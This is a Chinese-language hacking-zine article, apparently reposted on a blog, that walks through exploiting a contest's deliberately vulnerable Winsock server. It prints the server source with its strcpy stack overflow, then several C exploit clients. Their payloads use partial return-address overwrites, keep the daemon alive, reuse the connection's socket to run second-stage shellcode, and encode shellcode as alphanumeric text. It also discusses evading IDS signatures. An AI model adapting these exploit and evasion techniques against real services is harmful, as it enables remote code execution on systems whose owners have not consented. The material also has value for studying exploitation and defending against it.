zoukankan      html  css  js  c++  java
  • 做一个优秀的木匠

                              ==Ph4nt0m Security Team==
                           Issue 0x01, Phile #0x03 of 0x06

    |=---------------------------------------------------------------------------=|
    |=---------------------=[       做一个优秀的木匠      ]=---------------------=|
    |=---------------------------------------------------------------------------=|
    |=---------------------------------------------------------------------------=|
    |=--------------------=[           By F.Zh             ]=--------------------=|
    |=---------------------------------------------------------------------------=|
    |=---------------------------------------------------------------------------=|

        [本文内容可能会伤及到部分名人粉丝感情,作者表示仅为插科打诨之用,并无恶意]
        有副图描述了从发现漏洞到最后盈利的过程,大概意思是研究人员发现了房子的漏洞,木
    匠针对漏洞造了一个梯子,最后脚本*子进屋偷*西。国内的圈子里面,玩票性质的安全爱好
    者大多不愿意做脚本*子,同时也不见得有足够的时间去找房子的漏洞,所以闲暇时候基本上
    做做木匠活当消遣。但木匠也是有三六九等的,有朱由校,有鲁班,也有就只能给地主老财家
    做楠木棺材的。作为一个有职业道德的木匠,显然应该努力向前面两个靠拢,因为只能做做楠
    木棺材的,未免也太失面子了。

        这篇文章就从国内某著名破解论坛搞的科普竞赛开始,由一个楠木棺材级别的木匠挣扎
    着介绍一下放眼能够看到的技巧。在切入正题前,有必要介绍一下科普竞赛的背景和结果:
    大约是看到windows漏洞太值钱,破解组织也开始搞起了逆向和exploit,而且还以竞赛的方
    式来引起非木匠的关注。科普竞赛的题目是两道,如Sowhat所说
    (http://hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html),第二道题是
    可以Google到的,而第一道题显然是个送分题,因此科普竞赛实际上是个比手快的过程。最
    后结果是nop拿了第一,这个名字让人不禁联想到了五一国际劳动节和革命先烈鲜血的颜色,
    当然,我们依然怀着无比的敬仰和美好的期望,希望这个nop不是职业运动员参加了业余比赛。
        先看看存在问题的程序。逆向很简单,但是为了方便,还是直接给出官方公布的源代码。
    具有严重自虐倾向的木匠请编译后用ida逆向一下,并自备低温蜡烛和爱心*皮鞭。
    ========================和谐的分割线=================================
    #include<iostream.h>
    #include<winsock2.h>
    #pragma comment(lib, "ws2_32.lib")
    void msg_display(char * buf)
    {
      char msg[200];
      strcpy(msg,buf);// overflow here, copy 0x200 to 200
      cout<<"********************"<<endl;
      cout<<"received:"<<endl;
      cout<<msg<<endl;
    }
    void main()
    {
      int sock,msgsock,lenth,receive_len;
      struct sockaddr_in sock_server,sock_client;
      char buf[0x200]; //noticed it is 0x200
      WSADATA wsa;
      WSAStartup(MAKEWORD(1,1),&wsa);
      if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
      {
        cout<<sock<<"socket creating error!"<<endl;
        exit(1);
      }
      sock_server.sin_family=AF_INET;
      sock_server.sin_port=htons(7777);
      sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
      if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
      {
        cout<<"binding stream socket error!"<<endl;
      }
      cout<<"**************************************"<<endl;
      cout<<"     exploit target server 1.0     "<<endl;
      cout<<"**************************************"<<endl;
      listen(sock,4);
      lenth=sizeof(struct sockaddr);
      do{
        msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
        if(msgsock==-1)
        {
          cout<<"accept error!"<<endl;
          break;
        }
        else
          do
          {
            memset(buf,0,sizeof(buf));
            if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
            {
              cout<<"reading stream message erro!"<<endl;
              receive_len=0;
            }
            msg_display(buf);//trigged the overflow
          }while(receive_len);
          closesocket(msgsock);
      }while(1);
      WSACleanup();
    }
    ========================和谐的分割线=================================
        如注释所言,这里是误把0x200长度的往200字符串里面拷贝了。其实这个问题并不具有
    代表性,比尔叔叔的手下们把widechar的长度算错过,把栈上的变量当堆释放过,把用户给的
    地址内容加1过,唯独没有昏到把16进制和10进制搞混。不过既然主办方这样写,我们也就这
    样看吧。实际上逆向出来后,作为一个模板可以覆盖ret,然后code page里面找jmp esp,然
    后这样那样,很简单就搞定exp了。尽管在冠军的答案中看到了这种方法的影子,楠木棺材级
    木匠还是要挥舞着手中的锯子说,这种程度只能去做洗脚盆。

        好吧,那我们一步一步地看如果从洗脚盆程度提升到楠木棺材级别,并展望一下更高的
    层次。
        首先是获取CPU的控制权问题。

        dark spyrit在某期Phrack(记不清楚了)上提出可以用系统加载的dll上的指令码来跳
    转并获得控制权。这里有一个前提,因为很巧的你覆盖了一大堆*西后,ret退栈后esp指向
    你能够控制的代码,因此用一个jmp esp可以跳过来执行,剩下就是编写shellcode。但是,
    并不是说就只能用这个方法,或者说这个方法就最好。dark spyrit最大的贡献是提出了一
    个通用的方法,同马列主义* **思想* **理论三个代表八荣八耻一样,虽然是放之四海
    而皆准的真理,不过到了中国,还是要要结合具体的国情来开展工作。拿jmp esp的*西往
    机器上一跑,不同的操作系统版本怎么办,/3gb模式怎么办?做洗脚盆的确可以区分着做出
    男用女用*孩用人妖用的,但是可能拿去用的人是超女的冠军,如果事先你不知道名字,只
    看长相,你说到底给那个盆子好?

        所以造梯子的时候,最好还是根据实际情况来。一般来说,栈溢出时,对栈上的破坏情
    况不是很严重的话,在栈区域上可以看到很多上层函数的局部变量,而且这些局部变量往往
    是很有用的,比如凑巧就是你那个字符串的指针等。打栈上变量的主意有几个好处,首先你
    可以用其他更稳定的方法跳转到恶意字符串的开头,其次这可以给你多一些字节空间来存放
    shellcode,最后还可以防止一些ids/ips的检测。我们可以用下面一个简单的图示来把这
    三个优势混杂起来说明一下。
    <--lower                                                upper-->
    ================================================================
    var of vulnerable function   |  ret  |  var of upper function ...
    ================================================================
    NOP NOP NOP NOP NOP NOP NOP  |jmp esp|  shellcode
    ================================================================
    shellcode                    |jmp  ? |  var of upper function
    ================================================================

        第二行是马列主义方法,你一定会覆盖到ret,然后继续覆盖起码2个字节(eb xx往回跳转)。
    因此一些ids/ips的signature就写了,如果你超过xxoo个字节,就阻止发送。就算写得不好
    的signature起码也会检查你是否覆盖到了ret的四个字节,一些更严格的甚至只要覆盖到ret
    的第一个字节就报警,对于这样的情况,马列主义方法肯定是被扼杀了,但是第三行的具体国
    情方法还有一线机会逃脱检测,我们根本不用覆盖完ret的四个字节,只要利用栈上的变量,
    找一些特定的字节码就可以了。

        说到这里还可以插播一个事情,去年一月份泄露出来的.ani溢出的exp,大家对那个覆
    盖了低两位的exp惊叹不已。这就是一个很好的例子:第一,你用最*的字节数完成了功能,
    最大限度避免了ids等的问题。第二,这个方法的稳定性还好。这样说其实是很抽象的,我们
    还是回到科普竞赛的代码上来看。

        调用msg_display的时候传递进来了一个参数,在栈上表现出来是这个参数是紧接着ret
    地址后面的,如果我们仅覆盖到了ret地址,当CPU执行完msg_display返回时,esp刚好指向
    这个参数,这个时候只需要一个能达到jmp [esp]功能的地址,就能准确跳转到我们传入的
    字符串上去,显然,满足这个条件最好的指令就是0xc3(ret)。下面这个图简单地说明了这
    个问题。
    <--lower                                                              upper-->
    =============================================================================
    var of vulnerable function  |  ret  |  ptr  | other var of upper function ...
    =============================================================================
    ^---------------------------------------|

        把图中的ret用一个内容为0xC3的地址A来覆盖,当msg_display返回时,返回到了A地址,
    再执行了一次0xC3(ret)指令,eip就跳到了字符串的开头。

        这里的情况还是很简单的,实际exploiting中也许这个ptr离ret还有点距离,可能需要
    你pop几次,这个形式上同覆盖seh的利用方法相同,也算是一个巧合吧。

        然后来说说0xC3地址的寻找。首先很遗憾的,如果你想用四个字节完全覆盖ret地址,
    没有一个通用地方。msvcrt.dll在相同sp的不同语言系统中相对固定,code page在相同语
    言不同版本系统中相对固定。注意,这里只是相对,碰上些特殊的情况,可能这些*时通用
    的地址根本就是无效的地址。再严格一些,如果这里地址必须符合某种编码规范,也许你更
    难找到可用的地址,更别说通用了。

        洗脚盆级别的木匠到这里估计要晕倒了,棺材匠级别的应该还有点办法,两个解决方案:

        第一、找一个替代产品来满足编码规范。比如0x7ffa1571是你要找的pop pop ret,没
    必要一定要用0x7ffa1571,也许用0x7ffa156e也可以,只要pop pop ret前面的指令无伤大
    雅就是。一个实际的例子是泄露出来的realplayer import那个,要找pop pop ret,但是符
    合编码规范的范围内找不到,作为替代找了一个 call xxx/ret xx,而且刚好call xxx还不
    会让程序崩溃。

        第二、缩*覆盖面积。覆盖4个字节太痛苦了,少覆盖几个字节吧。x86的DWORD是低位
    在上的,所以你顺序覆盖的时候,首先覆盖了ret地址的低位。正常的ret值是返回到某个pe
    文件中,比如00401258,如果覆盖一个字节,那可能的地址范围是00401201~004012ff,如果
    覆盖2个字节,可能的地址范围在00400101~0040ffff。这么大的范围内一般容易找到满足
    要求的地址,而且更重要的是,pe文件版本固定的话,尽管加载的基地址可能会变化,但是由
    于基地址有个对齐的要求,低位(两个字节或更多)完全固定,这实际上是一个很好的提高稳
    定性的方法。现实中memcpy导致的问题用这种方法更有效,strcpy的麻烦些,不过好在只要
    说明问题就是,这里也不深究过多。马上给出第一个代码。
    ========================和谐的分割线=================================
    #include <winsock2.h>
    #include <stdio.h>
    #pragma comment(lib, "ws2_32")
    SOCKET ConnectTo(char *ip, int port)
    {
        SOCKET s;
        struct hostent *he;
        struct sockaddr_in host;
        if((he = gethostbyname(ip)) == 0)
            return INVALID_SOCKET;
        host.sin_port = htons(port);
        host.sin_family = AF_INET;
        host.sin_addr = *((struct in_addr *)he->h_addr);
        if ((s = WSASocket(2, 1, 0, 0, 0, 0)) == -1)
            return INVALID_SOCKET;
        if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
        {
            closesocket(s);
            return INVALID_SOCKET;
        }
        return s;
    }

    void main()
    {
        char malicious[] =  "\xcc"
                        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        "OA@";
        WSADATA wsaData;
        if(WSAStartup(0x0101,&wsaData) != 0)
            return;
        SOCKET s = ConnectTo("127.0.0.1", 7777);
        send(s, malicious, 203, 0);  //hard encoded :)
        WSACleanup();
    }
    ========================和谐的分割线=================================

        执行下顺利到达int3指令。

        构造exp的过程本身是简单的,关键在shellcode实现功能上。洗脚盆木匠到这一步基本
    上就是找一个shellcode来用。作为一个有职业道德的棺材级木匠,可能还应该有点更高的
    追求:好的梯子除了能够通用而精确地干掉存在漏洞的机器外,同时还要方便使用者,绕过
    防火墙,而且还要尽可能少地影响到守护进程。对于网络程序,理想的情况是复用端口,终
    极目标是复用完了还不挂,后续的使用者能够正常使用守护进程的功能。后一点听起来似
    乎有点不可思议,而且流传在外面的各种exp,好像还罕有牛到这种程度,不过说穿了也没什
    么奇怪的,棺材级的木匠一般都能做到,只是马桶级木匠更喜欢散布马桶级exp而已。我们
    把复用端口的问题留在后面,先聊聊如何让守护进程不挂掉这个事情。

        要程序不挂,最简单的办法就是恢复溢出时候的上下文,然后返回去。通常jmp esp的方
    法因为覆盖得太多,栈给洗脚盆木匠搞得一团糟,影响了太多上级函数的变量,导致根本没有
    什么好办法可以恢复。这个时候,尽可能少覆盖的优势出来了:由于最大限度地保存了上层
    函数局部变量,所以要做的就是恢复相关寄存器的值,然后寻找正常流程应该返回的地址,跳
    转回去即可。对于这里这个简单的daemon,我们甚至可以硬编码返回地址。还是把例子给出
    来,说明一下问题先。

    ========================和谐的分割线=================================
    char malicious[] =
    "\xCC"
    "LLLL`a"
    "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "OA@";
    ========================和谐的分割线=================================

        同前面一个代码相同,0xCC为了调试方便,改成0x90后再编译执行下,可以看见守护进程
    完全恢复了,你还可以telnet 7777过去正常执行功能,和没有发生过问题一样。这里恢复的
    代码用了一点*技巧,有兴趣的木匠可以仔细看看,代码`和a分别是pushad和popad,在这两
    个中间可以放置任何功能的shellcode,不影响整体的框架。

        例子虽然简单,但是我建议读到这里的木匠还是跟进去看一下流程。由于这个实例比
    较直观,代码就简单恢复了上下文然后跳到正常地方执行,对于复杂点的代码,可能需要多
    费一点手脚,但是大体思路和步骤还是可以确定的:首先收集一个正常执行完出问题代码的
    寄存器和栈状态;然后确定要返回的地址,搜索或者硬编码,返回的地方可以是上一层,也可
    以返回上几层,甚至无耻地跳到入口让程序重新执行一次都可以;最后将恢复的代码编码成
    shellcode,加在正常功能shellcode的后面。

        让守护进程不挂也做到了,接着看看端口复用的情况。
        最简单的网络程序保留有一个SOCKET来通讯,很多已有的文章讨论了如何找到当前的
    SOCKET。最常用的方法是枚举所有可能的值,然后发送特征字符串来确认。也有人hook
    recv,通过稍微被动一点的方法来获得SOCKET。当然这些都是懒人用的通用方法,对于特定
    的程序,简单而又稳妥的方法是直接找栈上的变量,消耗的代码少,而且一次性就能找到。
    如果编译优化的时候没有具体分配栈上的空间给这个socket,则它一定会被保存在某个寄
    存器里面,那就更简单了。针对具体的情况,像recv之类的函数也没有必要用很长的通用代
    码去搜索,只要在PE文件里面找找就成。具体的实现细节我们省略掉,给出代码,直接跟进
    去看看就知道了。

    ========================和谐的分割线=================================

    void main()
    {
        char malicious[] =  "\x90"
                        "LLLL`"
                        "\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8"
                        "\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10"
                        "\x10\x03\xe2"
                        "a"
                        "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
                        ""
                        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        "OA@";
        WSADATA wsaData;
        if(WSAStartup(0x0101,&wsaData) != 0)
            return;
        SOCKET s = ConnectTo("127.0.0.1", 7777);
        send(s, malicious, 203, 0);

        send(s, "\xCC\xC3",2,0);
        Sleep(-1);
        WSACleanup();
    }
    ========================和谐的分割线=================================

        这里直接复用了当前的SOCKET,再次调用recv收了一段shellcode来执行,也就是后面看
    到的"\xCC\xC3"。自己再写个简单的shellcode就是,基本没有难度,只是注意要*衡栈,最
    后用个0xc3结尾。比较见鬼的是这个守护进程有recv但是没有send,所以shellcode里面你
    必须自己找到send的地址……娘西皮,还带这样玩的啊。

        其他情况下的复用还有一些其他的方法,比如IIS 5这一类的,比如RPC一类的。前者寻
    找一个结构,后者hook一个函数,伪造或者搜索一个同时有in和out的opnum,具体细节baidu
    上能够搜索到,限于篇幅这里也不再废话了。如果对方是其他完成端口形式,比如ORACLE,只
    能暴力点shutdown掉当前监听,自己来监听一个。当然,也有没什么好方法的,比如IIS6。

        上面的过程省略了没有技术含量的shellcode编写过程,主要说的是一些步骤,方法和技
    巧。稳定,复用,还有不挂掉守护进程,都作到了,洗脚盆也成功升级为了棺材匠,还有什么可
    以做的呢?

        美观!这个shellcode简直不是一般的难看,混杂了可读的字符和不可读的字符,简直是
    丑陋不堪!你说一个木匠会把棺材做的全是*刺么,不会雕龙刻凤的木匠永远是二流的。对
    于木匠来说,终极的目标是将一个exp发挥到极致,对于这样简单的一个情况,要用所有可见
    的字符,最好尽可能都是字母,甚至exp都不用,直接用个telnet就可以溢出获得shell了。

        不可能么?当然是可能的,人有多大胆地有多大产,钱老还论证过亩产万斤是可行的呢。
    那么,还是给个sample。

    void main()
    {
        char malicious[] =  "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj"
                "brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC"
                "pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp"
                "ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd"
                "AAAOA@";
        WSADATA wsaData;
        if(WSAStartup(0x0101,&wsaData) != 0)
            return;
        SOCKET s = ConnectTo("127.0.0.1", 7777);
        send(s, malicious, 203, 0);

        send(s, "\xCC\xC3",2,0);
        Sleep(-1);
        WSACleanup();
    }

        这里两段shellcode,我们主要解决第一步的问题。要说明malicious到底是个什么*西,
    牵扯的面就太广了,我们假设看文章的木匠都是有汇编功底的,而且愿意反汇编进去看一下,
    就简单的提提,因为要写这个shellcode的构造,那又是一篇文章。shellcode里面首先*衡
    栈,然后对栈进行一些patch,patch出想要的指令,然后对后续数据进行解码操作,最后再执
    行。

        这个code,运行顺利可以抓到一个0xCC,也就是第二个send的。但是,ret后守护进程还
    是挂了。

        为了美观,我们exp的工作必须重头再来。开始我们把姿态定得很低,目的是说明问题,
    现在把最重要的几步都解决了,又回到了原点,各位木匠们,现在可以动起手来写一下完全符
    合可见字符编码的,复用当前SOCKET的第二段shellcode了。按照前面的步骤,应该不是很难
    的事情,让守护进程不挂也是可以的,malicious代码保留了革命的火种,发生溢出时的寄存
    器值,都保留在上面,剩下一点工作,只是比写普通shellcode稍微多费点劲的活,不想试试看
    么。

        最后再卖个关子,棺材木匠说过,最终是可以由telnet提交的获得shell,连exp都不用的。
    telnet是一个字符一个字符提交的,有没有什么一次性提交203个字节导致第一次溢出呢?可
    以的,守护进程只有一个线程,打打这方面的主意,用个*技巧吧。

    -EOF-

    我最擅长从零开始创造世界,所以从来不怕失败,它最多也就让我一无所有。
  • 相关阅读:
    node.js 安装后怎么打开 node.js 命令框
    thinkPHP5 where多条件查询
    网站title中的图标
    第一次写博客
    Solution to copy paste not working in Remote Desktop
    The operation could not be completed. (Microsoft.Dynamics.BusinessConnectorNet)
    The package failed to load due to error 0xC0011008
    VS2013常用快捷键
    微软Dynamics AX的三层架构
    怎样在TFS(Team Foundation Server)中链接团队项目
  • 原文地址:https://www.cnblogs.com/flying_bat/p/1268368.html
Copyright © 2011-2022 走看看